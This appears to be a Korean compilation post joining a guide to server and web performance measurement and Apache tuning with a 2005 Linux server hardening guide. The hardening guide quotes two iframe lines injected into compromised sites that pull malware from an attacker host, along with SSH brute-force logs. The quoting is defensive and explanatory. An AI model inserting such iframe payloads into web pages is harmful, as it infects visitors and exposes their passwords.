2 210.116.126.41 (210.116.126.41) 17.030 ms 17.389 ms 357.989 ms
3 203.235.126.250 (203.235.126.250) 132.341 ms 18.414 ms 19.626 ms
4 210.103.227.38 (210.103.227.38) 203.928 ms 206.006 ms 179.701 ms
5 210.103.183.35 (210.103.183.35) 243.521 ms 24.088 ms 20.738 ms

Ping
양 끝단의 전체적인 속도 및 패킷 에러율을 체크하고자 할 경우 ping을 통해 일정량의 패킷을 보내어 다시 받을 때까지 걸리는 전체 시간과 패킷 손실율을 측정할 수 있다.

- Sample -
[root@ns named]# ping -c 10 www.netkiller.com
## www.netkiller.com 으로 총 10번의 ping을 실행한다.
PING www.netkiller.com (210.103.183.35): 56 data bytes
64 bytes from 210.103.183.35: icmp_seq=0 ttl=251 time=377.5 ms
64 bytes from 210.103.183.35: icmp_seq=1 ttl=251 time=417.6 ms
64 bytes from 210.103.183.35: icmp_seq=2 ttl=251 time=247.7 ms
64 bytes from 210.103.183.35: icmp_seq=3 ttl=251 time=367.1 ms
64 bytes from 210.103.183.35: icmp_seq=4 ttl=251 time=462.1 ms
64 bytes from 210.103.183.35: icmp_seq=5 ttl=251 time=957.6 ms
64 bytes from 210.103.183.35: icmp_seq=6 ttl=251 time=179.3 ms
64 bytes from 210.103.183.35: icmp_seq=7 ttl=251 time=77.0 ms
64 bytes from 210.103.183.35: icmp_seq=8 ttl=251 time=69.9 ms
64 bytes from 210.103.183.35: icmp_seq=9 ttl=251 time=498.8 ms

--- www.netkiller.com ping statistics ---
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 69.9/365.4/957.6 ms

이 경우 Avg Round-Trip time이 365.4 ms 가 나왔다.
일반적으로 자사의 라우터와 ISP간에 약 1,000 번의 ping 결과에서 에러율이 3~4% 미만이어야 한다.

netstat , ifconfig
서버의 전체적인 네트워크 패킷 충돌율을 체크할 경우 netstat – i 나 ifconfig –a 의 결과에서 직접 계산할 수 있다.
- Sample -
[root@ns named]# ifconfig -a
lo Link encap:Local Loopback
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
UP BROADCAST LOOPBACK RUNNING MTU:3584 Metric:1
RX packets:99477 errors:0 dropped:0 overruns:0 frame:0
TX packets:99477 errors:0 dropped:0 overruns:0 carrier:0
collisions:0

eth0 Link encap:Ethernet HWaddr 00:10:5A:69:ED:92
inet addr:203.231.38.2 Bcast:203.231.38.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:813704 errors:0 dropped:0 overruns:0 frame:0
TX packets:646433 errors:0 dropped:0 overruns:0 carrier:0
collisions:17681
Interrupt:10 Base address:0xec00
여기서 lo는 로컬이므로 의미가 없으며, eth0란에서 Collisions수만큼의 충돌이 TX packets (출력 패킷)에 대해 발생하였으므로 (17681/646433) X 100 을 통해 충돌율이 약 2.7% 라는것을 확인할수 있다.
보통 약 8% 이상의 충돌율을 보인다면 네트워크를 점검해 보아야 한다.

MRTG등의 네트워크 전문 유틸리티를 통한 부하량 체크
앞서 언급한 MRTG나 XNI 등의 부하량 및 패킷 전문 체크 프로그램을 이용하면 보다 시각적으로 패킷 에러와 속도를 측정할 수 있다.

- Sample http://www.xni.com -

나. 웹 성능 측정 방법들

time
time은 유닉스에서 프로그램의 실행 시간을 측정해주는 기본 명렁어이다. 웹 서버의 접속 및 첫 Source를 받아오는데 걸리는 시간을 정확히 측정하고자 한다면 아래와 같이 해볼수 있다.

- Sample -

[root@ns named]# time lynx -source http://www.netkiller.com > /dev/null
0.05user 0.05system 0:02.34elapsed 4%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (1651major+639minor)pagefaults 0swaps

이것은 www.netkiller.com 의 웹 사이트에 lynx 브라우저로 접속하여 초기 웹 페이지의 source를 가져오는데 걸리는 총 시간을 측정한 결과인데, 소스의 경우 굳이 볼 필요가 없으므로 /dev/null로 보냈다. User : 0.05 , System : 0.05 그리고 총 실행 시간이 0:02.34 (2초 34) 가 걸렸으므로, 실제 접속 시간은 2.34 – (0.05 + 0.05) = 2.24초가 된다. 보다 정확한 측정을 위하여 위의 명령을 몇번 실행시켜 평균 시간을 측정하여야 될것이다. 특히 처음 접속은 DNS서버의 캐시를 이용하지 않기 때문에 가장 느릴수 있기 때문이다.

ApacheBench (http://www.zeustech.net/)
아파치 서버를 위한 전문 측정 툴이다. 이 유틸리티는 레드햇 5.2 정품 리눅스의 경우 기타 application CD에 RPM으로 함께 제공되고 있는데 상당히 세밀하게 웹 서버의 성능을 체크할수 있다.

- Sample -
[root@ns named]# ab
ab: wrong number of arguments
Usage: ab [options] [http://]hostname[:port]/path
Options are:
-n requests Number of requests to perform
-c concurrency Number of multiple requests to make
-t timelimit Seconds to max. wait for responses
-p postfile File containg data to POST
-T content-type Content-type header for POSTing
-v verbosity How much troubleshooting info to print
-V Print version number and exit
-k Use HTTP KeepAlive feature
-h Display usage information (this message)
[root@ns named]# ab -n 10 http://www.netkiller.com:80/
This is ApacheBench, Version 1.2
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 1998 The Apache Group, http://www.apache.org/

Server Software: Apache/1.3.1
Server Hostname: www.netkiller.com
Server Port: 80

Document Path: /
Document Length: 11417 bytes

Concurrency Level: 1
Time taken for tests: 16.625 seconds
Complete requests: 10
Failed requests: 0
Total transferred: 115460 bytes
HTML transferred: 114170 bytes
Requests per second: 0.60
Transfer rate: 6.94 kb/s received

Connnection Times (ms)
min avg max
Connect: 65 209 390
Processing: 886 1453 2210
Total: 951 1662 2600

TOP
상당히 많이 사용되고 있는 Processor의 상태를 보여주는 유틸리티로 RAM, CPU, IO , SwapSpace의 사용량까지 %로 자세히 보여준다.
특히 웹 서버의 경우 CPU 사용량이 계속적으로 50% 이상이고 IO쪽의 사용량이 크면서 하드 드라이브의 소음(?)이 심해지면 이것은 웹 서버 부하에 대한 시스템의 부족한 RAM에 의해 CPU가 과도한 일을 하고 있는 것이므로 CPU가 아닌 RAM의 증가가 필요하다.

4. 아파치 웹 서버의 성능 개선안

실제 유닉스 환경에서 가장 많이 사용되고 있는 웹 서버가 아파치 웹 서버인데, 이제 마지막으로 아파치 웹 서버에서의 성능을 개선하기 위한 방안을 한번 알아보자.

가. httpd.conf , srm.conf , access.conf 파일의 최적화 수정
예전에는 httpd.conf, srm.conf, access.conf 파일로 나누어져 있었지만 요즘의 아파치 웹 서버는 모든 config 관련 내용이 httpd.conf에 들어가 있다.

a. ServerType : StandAlone
이것은 이용자 접속 요청시 웹 서버의 Child Processor의 생성에 있어서 기존 Spare Child Processor를 복사(Fork)하여 빠르게 대쳐할수 있도록 한다. 가령 100명의 이용자가 동시에 웹 서버로 접속할 경우 그때마다 config 파일을 참고로 하여 새로운 Child Processor가 만들어지는 inetd 방식보다 기존의 여유 Child processor를 fork 하여 대응하는 것이 훨씬 빠르고 효율적이다.
b. HostNameLookup off
이것은 접속자의 IP 주소에 대한 Reverse Lookup 을 방지한다. 대부분의 이용자들은 자신의 IP 주소에 대한 호스트, 도메인 이름이 없다. 그러므로 만일 HostNameLookup on 을 하여 웹 서버가 매번 접속 요청자에 대한 네임 서버 검색 후 로그 파일을 작성하도록 하면 그 만큼 접속 시간과 부하량이 증가하게 된다.
c. Rotate log를 사용한다.
이용자가 접속할때마다 기록되는 access_log의 경우 한번 접속당 약 85Byte가 증가하여 하루 100만번의 접속으로 access_log 파일은 무려 약 405MByte가 증가한다. 이렇게 되면 접속때마다 log file을 access 하는데 상당한 시간과 부하가 발생된다. 그러므로 로그 파일을 일정 시간마다 초기화 함으로서 언제나 경량화 시켜줄 필요가 있는데, 이것은 httpd/support 디렉토리에 존재하는 rotatelogs라는 유틸리티를 쓰면 해결할 수 있다. 레드햇 리눅스 5.2 이상의 경우 syslog을 이용하여 log 파일을 관리하고 있다.
[ 형 식 : rotatelog logfilename time ]
httpd.conf의 TransferLog logs/access_log를 아래와 같이 수정
TransferLog “|/usr/loca/etc/httpd/support/rotatelogs /usr/local/etc/httpd/logs/access_log 86400”
## 86,400초 (24시간)마다 access_log을 갱신한다는 뜻
참고 : error log 역시 위와같은 방법으로 수정 가능
d. ServerAlias를 이용한다.
가상 호스팅 추가시 ServerName www.domain.com 외에 ServerAlias *.domain.com domain.com 를 아래에 추가하여 Alias 도메인의 가상 호스팅을 위해 불필요한 필드의 추가를 생략할 수 있다.
e. Error_log파일을 통합한다.
가상 호스팅의 경우 가급적 error_log 파일들은 하나의 error_log 파일로 지정해 관리한다. (운영체제의 동시 file open수 제한을 피하는 소극적 방법?)
f. KeepAlive on
이것은 접속 요청자에게 웹 서버 프로세스가 웹 페이지들을 전송할 때 내부의 여러 개체(그림파일) 전송까지 새로운 프로세스를 만들지 않고 담당 프로세스가 계속 접속을 유지 할 수 있도록 한다.
g. MaxRequestPerChild 를 증가시킨다.
프로세스가 일정 횟수의 클라이언트 요청을 처리하고 종료되는 추치인 MaxRequestPerChild 30을 시스템의 안정성에 따라 증가시켜준다. 보통 100 이상을 권한다. 만일 자신의 웹 서버 시스템이 상당히 안정적이라면 아예 1,000을 주기도 한다.
h. StartServer, Min, Max Spare Server 수를 가급적 증가시켜준다.
디폴트는 각각 5, 5, 10정도인데 웹 서버가 standalone 방식을 경우 새로운 접속 요청을 받으면 기존의 spare Child Processor를 Fork 하여 새로운 Child Processor를 만들어 내므로 기본적으로 Spare 프로세스가 많을 수 록 폭주에 빨리 대처할 수 있다. 각각 비례적으로 증가시키는 것이 바람직하다.
예) StartServer 20, Min SpareServer 20, Max SpareServer 40 (4배씩 증가)
i. MaxClient 150
이것은 동시에 떠 있을수 있는 최대 Processor 수를 제한하는 것인데, 이것은 결국 최대 동시 이용자수 제한과 같다. 물론, http 프로토콜의 특성상 접속자체가 비연결성을 가지므로, 150정도가 충분할수 있으나 필요시 더 늘려줄수도 있다. 그러나 OS에서의 기본 제한 수치를 넘어설 수 있으므로, 주의 해야 한다. 가령 nobody가 만들어낼수 있는 최대 프로세스의 개수가 150개로 OS에서 제한하고 있는데 MaxClient를 그 이상으로 조정하면 문제가 생길수 있다.

나. 운영체제(OS)의 각종 제한 설정 확인
앞서 언급한 각 Processor 수치와 가상 호스팅을 위한 동시에 Open되는 Log 파일의 개수를 확장하기 위해서는 해당 웹 서버의 운영체제의 자원에 대한 제한 수치를 확인할 필요가 있다.

ulimit
ulimit은 운영체제의 각종 Limit을 확인하는 명령어로서 아래의 수치를 확인할수 있다.
The Max number of system processess
The Max number of processes per user
The Max number of open files (can have open files)

웹 서버는 보통 nobody라는 이용자 권한을 가진 ChildProcessor에 의해 서비스된다. 가령 레드햇 리눅스의 경우 6.0 버전 이상부터 그 기본 수치가 상당히 증가되었는데, 이전 5.2버전의 경우 ulimit –a 으로 아래의 결과를 보인다.

[root@ns named]# ulimit -a
core file size (blocks) 1000000
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) unlimited
stack size (kbytes) 8192
cpu time (seconds) unlimited
max user processes 256
pipe size (512 bytes) 8
open files 256
virtual memory (kbytes) 2105343

여기서 max user processes가 256 정도인데, 아파치 웹 서버의 conf 파일에서 MaxClient 를 256 이상 설정하면 OS의 기본 설정을 초과하므로 문제가 발생할 수 있다.
OpenFiles 역시 256이므로, access_log, error_log를 각 가상 호스팅 이용자에게 따로 부여할 경우에는 웹 서버의 log 파일의 총 개수가 256보다 아래여야 할것이다. 물론 이용자가 cgi 프로그램을 동시에 실행하여 open되는 file수도 고려해야 한다.

참고로 ulimit는 OS의 기본 설정을 확인하거나 기본 수치에 대해 줄일 때 사용할수 있다. 그러므로 ulimit을 통해 각 분야별 수치를 증가시키는 것은 아무런 효과가 없다.
OS의 기본 제한 수치를 증가시키고자 한다면 리눅스의 경우 별도의 커널 수정과 커널 컴파일이 필요하다. 그러나 레드헷 6.0부터 커널의 각종 설정들이 상당히 증가되어 (예 : openfiles, max user processes 가 1024로 증가) 이젠 굳이 커널을 수정하여 컴파일할 필요가 없다.

가상유저산출법

예제: 목표는 1분간 2,000페이지/뷰어
- 실제로 사람이 실행했을때 3분간 걸리는 시나리오
- 페이지는 10페이지
- 1분당 실제의 유저가 처리하는 량은 3.3페이지 뷰어 : 10페이지 ÷ 3분 = 3.3페이지/분
- 2,000페이지 뷰어를 테스트하기 위해, 약 600유저가 필요 : 2,000 ÷ 3.3 = 606.060606



관련 용어설명

- Concurrent user (동시 단말 사용자): 
시스템을 사용하고 있는 사용자로 Active user와 InActive user의 합

- Active user:
대상 서버에 Request를 보내고 있는 사용자. 즉 버튼을 누르고 나서 응답을 기다리고 있는 사용자

- InActive user:
대상서버와의 세션은 연결되었으나 일시적 또는 장시간에 걸쳐 서버에 Request를 보내고 있지 않는 사용자.

- Throughput(처리량):
단위 시간내에 처리되는 량을 말하며 단위로는 TPS(Transaction per second)와 KB/sec를 주로 사용.

- ThinkTime(대기시간):
서버로 부터 응답을 받은 후, 다음 동작이 이루어 질 때 까지 사용자가 대기하는 시간.

- 테스트 시나리오:
웹 페이지 상의 업무 흐름을 말하며, 사용자가 웹에 접속하여 원하는 결과를 얻을 때까지의 웹 상에서의 전체 액션 흐름. 테스트 스크립트에는 다수의 페이지를 포함 할 수 있음.

리눅스 서버 기본 보안정책 | Linux Q&A

리눅스 서버 기본 보안정책 | Linux Q&A

http://cafe.naver.com/coolkkm1/240
리눅스 서버 기본 보안정책
Step by Step
2005.7.25
작성: Securityproof(http://www.securityproof.net)
1
이 문서는 최근 중국 등을 비롯한 외국의 공격자들로부터 우리나라 서버를 보호하는데
작은 도움이 되기 위해 작성된 것입니다. 특히, 악용될 소지가 높은 리눅스 서버를
대상으로 했습니다. Windows의 경우 악용될 소지가 리눅스보다 적기 때문에 리눅스
서버 보안책만 여기에 포함시켰습니다. 질문이 있는 분은 http://www.securityproof.net
게시판에 글 남겨주시기 바랍니다.
2
[ 목 차 ]
# 머리말 ------------------------------------------------------------------- 3
1. 방화벽 설치 및 운영 ----------------------------------------------------- 8
2. 침입 탐지 및 방어 시스템 PORTSENTRY 운영 -------------------------------- 16
3. chkrootkit를 통한 백도어 설치 탐지 -------------------------------------- 28
4. 파일 퍼미션 설정을 통한 로컬 공격 방어 ---------------------------------- 34
5. 웹 서버 보안을 위한 기본 파일 설정 -------------------------------------- 38
5-1. httpd.conf 보안 설정 ---------------------------------------------- 38
5-2. php.ini 파일 설정 ------------------------------------------------- 60
3
머리말
최근 중국 해커들의 국내 서버에 대한 공격이 날로 증가하고 있습니다. 이에 따른 피해도 증가하고 있습니다.
보통 유럽이나 남미의 해커들의 경우 서버를 공격한 후 웹 페이지를 변조하여 자신들의 흔적을 남겨 사후
수습이 상대적으로 신속하게 이루어질 수 있었습니다.
그러나 중국 해커들의 경우 공격한 서버의 웹 페이지를 변조하는 일은 상대적으로 드물며, 공격한 서버를
추후 공격에 악용하기 위해 백도어를 설치하거나 웹 페이지에 악성 스크립트를 설치하는 경우가 빈번합니다.
가장 최근 MBC ESPN 등의 경우도 마찬가지였습니다. 서버가 공격을 당한 후 중국의 해커들은 백도어를
설치하고, 웹 페이지에 다음과 같은 악성 설치했습니다.
<iframe src=http://gua.wocaloe.com/asp/muma.htm>
<iframe src=http://gua.wocaloe.com/asp/index.htm>
이 악성 스크립트가 설치되어 있는 페이지를 방문하게 되면 악성 프로그램이 사용자의 시스템에 자동
설치되고, 이 결과 시스템의 정보와 개인이 사용하는 각종 패스워드가 공격자에게 노출되게 됩니다.
패스워드를 확보한 중국의 공격자는 게임 사이트의 아이디와 패스워드를 금전 거래에 사용하기도 했습니다.
아직도 이 악성 코드가 그대로 남아 있는 사이트가 있을 것으로 짐작됩니다. 패치가 되지 않은 Windows
시스템을 사용하고 있는 사용자가 그런 사이트에 접속하게 되면 계속적인 피해가 걱정됩니다. 그래서 웹
관리자는 사이트의 모든 소스를 확인할 필요가 있습니다. 관리자 자신이 삽입하지 않은 코드가 있다면 반드시
확인하여 없애야 할 것입니다.
중국의 해커들이 최근 가장 많이 사용하고 있는 공격 방법 중 어느정도 그 실체가 드러난 것은 대략 두
가지입니다. 서버 관리자들은 잘 알겠지만 첫 번째는 ssh bruteforce attack입니다. 이것은 /etc/passwd
파일에 등록되어 있는 각 계정과 패스워드를 무작위 대입 방법을 사용하여 서버에 접속하는 방법입니다. 이
공격을 하면 다음과 같은 로그가 /var/log/secure 파일에 남습니다.
Jul 25 08:31:32 localhost sshd[23569]: Failed password for invalid user samba from ::ffff:211.140.122.36 port 56974 ssh2
Jul 25 08:31:33 localhost sshd[23572]: Invalid user wwwrun from ::ffff:211.140.122.36
Jul 25 08:31:36 localhost sshd[23572]: Failed password for invalid user wwwrun from ::ffff:211.140.122.36 port 57533 ssh2
Jul 25 08:31:37 localhost sshd[23575]: Invalid user ldap from ::ffff:211.140.122.36
Jul 25 08:31:40 localhost sshd[23575]: Failed password for invalid user ldap from ::ffff:211.140.122.36 port 57725 ssh2
Jul 25 08:31:41 localhost sshd[23578]: Invalid user squid from ::ffff:211.140.122.36
Jul 25 08:31:43 localhost sshd[23578]: Failed password for invalid user squid from ::ffff:211.140.122.36 port 58279 ssh2
4
Jul 25 08:31:45 localhost sshd[23581]: Invalid user news from ::ffff:211.140.122.36
Jul 25 08:31:47 localhost sshd[23581]: Failed password for invalid user news from ::ffff:211.140.122.36 port 58440 ssh2
Jul 25 08:31:48 localhost sshd[23584]: Invalid user lp from ::ffff:211.140.122.36
Jul 25 08:31:51 localhost sshd[23584]: Failed password for invalid user lp from ::ffff:211.140.122.36 port 58991 ssh2
Jul 25 08:31:55 localhost sshd[23587]: Failed password for mail from ::ffff:211.140.122.36 port 59142 ssh2
Jul 25 08:31:56 localhost sshd[23589]: Invalid user yahoo from ::ffff:211.140.122.36
Jul 25 08:31:58 localhost sshd[23589]: Failed password for invalid user yahoo from ::ffff:211.140.122.36 port 59707 ssh2
Jul 25 08:32:02 localhost sshd[23592]: Failed password for bin from ::ffff:211.140.122.36 port 59854 ssh2
Jul 25 08:32:04 localhost sshd[23594]: Invalid user postfix from ::ffff:211.140.122.36
Jul 25 08:32:07 localhost sshd[23594]: Failed password for invalid user postfix from ::ffff:211.140.122.36 port 60430 ssh2
Jul 25 08:32:08 localhost sshd[23597]: Invalid user mailman from ::ffff:211.140.122.36
Jul 25 08:32:10 localhost sshd[23597]: Failed password for invalid user mailman from ::ffff:211.140.122.36 port 60991 ssh2
Jul 25 08:32:15 localhost sshd[23600]: Invalid user kathi from ::ffff:211.140.122.36
이 로그에 남아 있는 아이피를 조사해보면 중국 아이피임을 알 수 있습니다. 실제 이 공격에 의해 한번에
10개의 서버가 당한 경우도 있었습니다. 이에 대한 대비책으로 /etc/passwd 파일에 사용되지 않는 계정 앞에
comment 처리를 하고, 사용되는 계정의 패스워드는 ssh bruteforce attack에 사용되는 사전파일에 나오지
않는 강력한 패스워드를 사용해야 합니다. 강력한 패스워드란 흔한 사람 이름이나 지역 이름, 그리고
일반적으로 많이 사용되는 영어단어를 제외한 특수문자와의 조합을 말합니다.
/etc/passwd 파일에 사용되지 않는 계정 앞에 comment 처리는 다음과 같이 쉽게 할 수 있습니다. 먼저
/etc/passwd 파일을 보면 다음과 같습니다. 다음 예는 securityproof에서 제공하고 있는 테마해킹 서버의
내용으로, 보안 설정이 거의 되어 있지 않은 경우입니다.
[root@localhost root]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
5
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:x:49:49:Wnn System Account:/home/wnn:/sbin/nologin
fax:x:78:78:mgetty fax spool user:/var/spool/fax:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nut:x:57:57:Network UPS Tools:/var/lib/ups:/bin/false
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
privoxy:x:73:73::/etc/privoxy:/sbin/nologin
pvm:x:24:24::/usr/share/pvm3:/bin/bash
desktop:x:80:80:desktop:/var/lib/menu/kde:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
securityproof:x:500:500:securityproof:/home/securityproof:/bin/bash
[root@localhost root]#
여기서 사용되지 않는 계정들이 쉘을 사용하고 있는 것을 볼 수 있습니다. 서버에 사용되지 않는 계정은
다음과 같이 모두 앞에 comment 처리를 합니다.
- 이상 생략 -
# postfix:x:89:89::/var/spool/postfix:/sbin/nologin
# mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
# privoxy:x:73:73::/etc/privoxy:/sbin/nologin
# pvm:x:24:24::/usr/share/pvm3:/bin/bash
- 이하 생략 -
6
두 번째로 많이 사용되고 있는 것은 자동화된 공격툴입니다. 현재 가장 많이 사용되고 있는 자동화된
공격툴은 HDSI, MSSQL WEB SHELL, NBSI 등을 비롯한 툴들이 있습니다. 이 툴들의 공통점은 자동화된 웹해킹을
실행하고, 이를 통해 각종 데이터베이스의 정보를 빼 간다는 것입니다. 데이터베이스에는 각종 중요한
정보들이 들어 있습니다. 만약 그 정보들이 암호화되어 있지 않다면 심각한 결과를 초래할 수도 있습니다.
또한 웹 쉘을 이용해 로컬 공격을 실행하고, 이를 통해 시스템 전체를 장악한다는 것입니다.
[그림1. HDSI]
7
또 다른 한 예는 자동화된 SQL Injection 공격툴입니다.
[그림2. MSSQL WEB SHELL]
최근 언론의 발표에서 중국 해커들이 우리나라의 서버를 경유지로 이용하여 일본의 서버를 일제히
공격하겠다는 소식이 전해졌습니다. 일본에서 중국의 아이피를 차단하기 때문에 우리나라의 서버를 경유지로
삼겠다는 것입니다. 여태까지 수 없이 우리나라의 서버들은 외국 크래커들의 경유지로 사용되어 왔습니다.
이것은 인터넷 강국이라 불리는 우리나라의 자존심을 무너지게 하는 것입니다. 자존심은 차치하고, 중요한
정보들이 빠져나가 많은 피해자들이 생기고 있다는 것입니다.
우리나라의 자존심을 지키고, 각종 주요 정보가 빠져나가는 일이 없도록 하며, 피해를 최소화하기 위해
securityproof는 리눅스 보안 지침서를 만들었습니다. securityproof는 보안회사 직원들, 보안 전문가,
선의의 해커들이 모여 운영되는 보안 포탈 사이트입니다. 이 작은 보안 지침서가 우리나라의 보안을 지키는데
작은 도움이 될 수 있으면 기쁘겠습니다. 앞으로도 우리나라의 보안을 위해 securityproof는 최선을 다할
것입니다.
8
1. 방화벽 설치 및 운영
방화벽이라고 하면 어렵게만 들릴 수 있으나, 가장 기본적이면서 효율적인 운영 원칙만을 세운다면 그렇게
어렵지 않을 수 있습니다. 여기서 말하는 방화벽은 리눅스에 기본적으로 제공되는 iptables를 말합니다.
iptables는 아주 강력한 기능을 제공합니다. iptables를 이용하여 방화벽을 운영하기 위해서 먼저 포트
스캐닝을 해봐야 합니다. 포트 스캐닝은 서버에서 제공하는 각종 서비스 데몬의 포트를 확인하는 것을
말합니다.
(1) 포트 스캐닝
대부분의 리눅스 서버에는 nmap이라는 툴이 설치되어 있습니다. 이 툴은 포트 스캐닝을 하여 열린 포트를
확인하고, 불필요한 서비스가 열려있지 않은지를 확인해줍니다. 다음과 같이 명령을 내려봅니다. 여러분들에
직접 입력해야 하는 부분은 파란색으로 표시하겠습니다.
[root@localhost root]# nmap localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
열린 포트를 확인해보니 ssh, telnet, smtp, http, mysql 등의 서비스가 제공되고 있는 것을 볼 수 있습니다.
ssh와 telnet은 관리자나 사용자가 원격으로 서버에 접속하여 서버를 관리하는데 사용되는 것입니다. 여기서
문제가 되는 것은 telnet 서비스입니다. telnet이 문제가 되는 것은 사용자의 아이디나 패스워드가
스니핑이라는 공격을 통해 노출될 수 있기 때문입니다. 그래서 만약 telnet 서비스가 제공 있고, 불가피한
경우가 아니라면 이 서비스는 꺼두는 것이 좋습니다. 방법은 다음과 같습니다.
[root@localhost root]# /etc/rc.d/init.d/telnetd stop
telnetd 를 정지함: [ 확인 ]
[root@localhost root]#
9
그리고 파일 업로드를 위해 ftp를 사용하는 경우가 있습니다. 그러나 ssh에는 sftp 기능이 있습니다. 그래서
굳이 ftp를 사용할 필요가 없습니다. sftp를 이용하기 위해 SSH Secure Shell이라는 프로그램을 이용하면
됩니다. 사용법이 그렇게 어렵지 않으니 다음 링크를 누르시면 바로 다운받을 수 있습니다.
ftp://ftp.sogang.ac.kr/pub/ssh/SSHSecureShellClient-3.2.0.exe
그렇다면 ftp 서비스도 꺼두도록 합니다.
[root@localhost root]# /etc/rc.d/init.d/ftpd stop
ftpd 를 정지함: [ 확인 ]
[root@localhost root]#
여기서 알아봐야 할 것은 각종 서비스 데몬 서비스의 실행과 중단을 하기 위해서는 어떻게 해야하는지
간단하게 알아봅니다. 먼저 다음과 같은 명령을 내립니다.
[root@localhost root]# cd /etc/rc.d/init.d
[root@localhost init.d]# ls
FreeWnn crond irda lpd ospf6d ripngd sshd
aep1000 cups irqbalance mailman ospfd routed syslog
amd dhcpd iscsi mars-nwe pcmcia rstatd tux
anacron dhcrelay isdn mdmonitor portmap rusersd ups
apmd firstboot isicom microcode_ctl postfix rwalld vncserver
arpwatch functions kadmin mysqld postgresql rwhod vsftpd
atalk gpm kdcrotate named privoxy saslauthd winbind
atd halt keytable netdump psacct sendmail xfs
autofs hpoj killall netdump-server pxe single xinetd
bcm5820 httpd kprop netfs radvd smartd ypbind
bgpd identd krb524 network random smb yppasswdd
bluetooth innd krb5kdc nfs rarpd snmpd ypserv
bootparamd ip6tables kudzu nfslock rawdevices snmptrapd ypxfrd
canna ipchains ldap nscd rhnsd spamassassin zebra
cpqarrayd iptables lisa ntpd ripd squid
[root@localhost init.d]#
여러 가지 파일들이 보입니다. 이 파일들이 각 서비스의 데몬을 실행시키고 중단시키는데 사용됩니다. 데몬을
실행시키기 위해서는 start, 중단시키기 위해서는 stop, 다시 시작시키기 위해서는 restart를 누르면 됩니다.
한가지 예로 가장 많이 사용되는 웹 서비스 데몬인 httpd 데몬을 실행 및 중단, 그리고 다시 실행시켜보도록
하겠습니다.
[root@localhost init.d]# /etc/rc.d/init.d/httpd start
10
httpd (을)를 시작합니다: [ 확인 ]
[root@localhost init.d]# /etc/rc.d/init.d/httpd stop
httpd 를 정지함: [ 확인 ]
[root@localhost init.d]# /etc/rc.d/init.d/httpd restart
httpd 를 정지함: [실패]
httpd (을)를 시작합니다: [ 확인 ]
[root@localhost init.d]#
그렇게 어렵지 않습니다. 이런 식으로 하면 지금 현재 실행 중인 불필요한 서비스를 꺼둘 수 있습니다. 그럼
다시 포트 스캐닝을 해보도록 하겠습니다.
[root@localhost root]# nmap localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
메일 서버를 운영하지 않는다면 메일 서버도 꺼두도록 합니다. 한 가지 제안하고자 한다면 굳이 서버에 메일
서버를 운영할 필요가 없다고 생각합니다. 요즘 hotmail이나 gmail과 같은 메일 서비스를 제공하는 곳이 많이
있기 때문에 굳이 메일 서버를 소규모 서버에서 운영할 필요를 느끼지 못합니다.
